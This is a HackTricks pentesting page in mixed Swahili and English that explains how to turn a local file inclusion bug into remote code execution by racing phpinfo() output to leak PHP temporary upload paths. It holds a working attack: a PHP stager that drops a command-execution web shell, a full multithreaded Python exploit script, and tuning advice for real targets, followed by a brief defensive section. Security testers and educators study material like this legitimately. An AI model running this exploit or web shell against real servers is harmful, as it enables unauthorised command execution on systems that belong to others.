LFI to RCE via PHPInfo
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Ili kutumia mbinu hii unahitaji yafuatayo yote:
- Ukurasa unaofikika unaochapisha matokeo ya phpinfo().
- Local File Inclusion (LFI) primitive unayodhibiti (mfano, include/require kwa input ya mtumiaji).
- Uwekaji faili wa PHP umewezeshwa (file_uploads = On). Any PHP script will accept RFC1867 multipart uploads and create a temporary file for each uploaded part.
- Prosesa ya PHP inapaswa kuweza kuandika kwenye upload_tmp_dir iliyosanifiwa (au default system temp directory) na LFI yako inapaswa kuweza kujumuisha njia hiyo.
Uandishi wa jadi na PoC ya awali:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Jina la script ya PoC ya awali: phpinfolfi.py (tazama whitepaper na mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Vidokezo kuhusu PoC ya awali
- Matokeo ya phpinfo() yame-HTML-encoded, hivyo mshale “=>” mara nyingi huonekana kama “=>”. Ikiwa unareuse script za zamani, hakikisha zinatafuta encoding zote mbili wakati zinapochambua thamani ya _FILES[tmp_name].
- Lazima ubadilishe payload (PHP code yako), REQ1 (ombi kwa endpoint ya phpinfo() ikiwa ni pamoja na padding), na LFIREQ (ombi kwa LFI sink yako). Baadhi ya malengo hayahitaji terminator ya null-byte (%00) na matoleo ya kisasa ya PHP hayatayazingatia. Rekebisha LFIREQ ipasavyo kwa sink iliyo vunjika.
- Mfano sed (tu ikiwa kweli unatumia PoC ya zamani ya Python2) ili kulinganisha mshale aliye-HTML-encoded:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
Nadharia
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES[‘
’][‘tmp_name’]. The file is automatically removed at the end of the request unless moved/renamed. - Njia ni kujua jina la muda na kulijumuisha kupitia LFI yako kabla PHP haijaondoa. phpinfo() prints $_FILES, including tmp_name.
- Kwa kupanua request headers/parameters (padding) unaweza kusababisha vipande vya awali vya output ya phpinfo() kufunguliwa/kuwasilishwa kwa mteja kabla ombi halijaisha, hivyo unaweza kusoma tmp_name wakati faili ya muda bado ipo kisha mara moja kujaribu LFI kwa kutumia njia hiyo.
In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
What to verify in phpinfo() before racing
Before sending thousands of requests, extract the values that decide whether the race is realistic:
file_uploads: must beOn.upload_tmp_dir: if set, this is the directory your LFI must be able to include. If empty, expect the system default temp directory.open_basedir: if enabled, your vulnerable include path still needs to be able to reach the temp directory shown intmp_name.output_buffering:4096is a common/default size and is why many PoCs read in 4KB chunks, but this value can differ.zlib.output_compression,output_handler, and any framework-level buffering: these reduce the chance of seeingtmp_nameearly enough.Server API: useful to decide how much buffering may exist between PHP and you (apache2handleris usually easier to reason about thanfpm-fcgibehind a reverse proxy).
If the page does not show $_FILES, make sure you are really sending a multipart/form-data request with an actual file part. PHP only populates tmp_name for upload fields that were parsed.
Attack workflow (step by step)
- Prepare a tiny PHP payload that persists a shell quickly to avoid losing the race (writing a file is generally faster than waiting for a reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
Tuma POST kubwa ya multipart moja kwa moja kwa ukurasa wa phpinfo() ili iunde temp file inayojumuisha payload yako. Ongeza padding ya ~5–10KB katika headers/cookies/params mbalimbali ili kuhamasisha output mapema. Hakikisha jina la form field linalingana na utakalolitafsiri katika $_FILES.
-
Wakati response ya phpinfo() bado inapotiririka, parse sehemu isiyokamilika ya body ili kutoa $_FILES[‘
’][‘tmp_name’] (HTML-encoded). Mara tu unapopata path kamili ya absolute (mfano, /tmp/php3Fz9aB), endesha LFI yako ili include path hiyo. Ikiwa include() itatekeleza temp file kabla haijafutwa, payload yako itaendeshwa na itaweka /tmp/.p.php. -
Tumia file iliyotengenezwa: GET /vuln.php?include=/tmp/.p.php&x=id (au mahali popote LFI yako inakuruhusu ku-include) ili kuendesha amri kwa uhakika.
Vidokezo
- Tumia multiple concurrent workers ili kuongeza nafasi zako za kushinda race.
- Maeneo ya kuweka padding yanayosaidia kawaida: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Rekebisha kwa kila target.
- Ikiwa vulnerable sink inaongeza extension (mfano, .php), hautahitaji null byte; include() itaexecute PHP bila kuzingatia extension ya temp file.
Mfupi Python 3 PoC (socket-based)
Kipande cha msimbo hapa chini kinazingatia sehemu muhimu na ni rahisi kuibadilisha kuliko script ya legacy ya Python2. Rekebisha HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), na PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
Utatuzi wa matatizo
- You never see
tmp_name: Hakikisha kwa kweli una POST multipart/form-data kwa phpinfo(). phpinfo() inachapisha$_FILEStu wakati uwanja wa upload ulikuwa umewepo. tmp_nameappears only at the very end of the response: Hii kawaida ni tatizo la buffering, sio tatizo la toleo la PHP. Thamani kubwa zaoutput_buffering,zlib.output_compression, userland output handlers, au reverse-proxy/FastCGI buffering zinaweza kuchelewesha mwili wa phpinfo() hadi ombi la upload karibu kumalizika.- You only get reliable streaming in a lab, not through the real site: CDN, WAF, au reverse proxy inaweza kuwa inabuffer majibu ya upstream. Ikiwa una njia nyingi za kufikia app ileile, pendelea njia ya origin ya moja kwa moja zaidi.
- The classic 4096-byte offset logic misses the leak: Chukulia 4096 kama alama ya kuanzia iliyoondolewa kutoka kwa defaults za kawaida za
output_buffering, sio kama konstanti ya ulimwengu. Changanua kwa hatua na simama maratmp_nameitakapokamilika. - The temp file is included but your shell dies immediately: Tumia stager ndogo inayoweka faili ya pili, kwa sababu uploaded temp file bado itaondolewa wakati ombi la awali linapomalizika.
- Output doesn’t flush early: Ongeza padding, ongeza headers kubwa zaidi, au tuma maombi mengi ya sambamba. Baadhi ya SAPIs/buffers hayatatoa flush hadi vizingiti vikubwa; rekebisha ipasavyo.
- LFI path blocked by open_basedir or chroot: Lazima uelekeze LFI kwenye njia iliyoruhusiwa au ubadilishe kuwa vector tofauti ya LFI2RCE.
- Temp directory not /tmp: phpinfo() inachapisha njia kamili ya
tmp_name; tumia njia hiyo halisi katika LFI.
Vidokezo vya vitendo kwa stacks za kisasa
- This technique is still reproducible in modern lab environments; kwa mfano, Vulhub ina demo juu ya PHP 7.2. Kwa vitendo, mafanikio yanategemea zaidi buffering ya output na proxying kuliko patch level maalum ya phpinfo().
flush()naimplicit_flushvinaathiri tu tabaka la output la PHP. Havihakikishi kwamba FastCGI gateway, reverse proxy, browser, au mpatanishi atatoa vipande vya partial mara moja.- If the target is
fpm-fcgibehind Nginx/Apache proxying, fikiria kwa tabaka: PHP buffer, PHP output handlers/compression, FastCGI buffering, kisha proxy buffering. Mbio zinafanya kazi tu ikiwa sehemu ya kutosha ya majibu ya phpinfo() itaachwa kutoka kwa mnyororo huo kabla ya kufungwa kwa ombi kuondoa temp file.
Vidokezo vya ulinzi
- Never expose phpinfo() in production. Ikiwa inahitajika, zuia kwa IP/auth na uifute baada ya matumizi.
- Keep
file_uploadsdisabled ikiwa hazihitajiki. Vinginevyo, zuiaupload_tmp_dirkwenye njia isiyofikiwa nainclude()katika application na tekeleza uthibitishaji mkali kwa njia yoyote ya include/require. - Chukulia LFI yoyote kama tishio; hata bila phpinfo(), njia nyingine za LFI→RCE zipo.
Mbinu zinazohusiana za HackTricks
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
References
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.


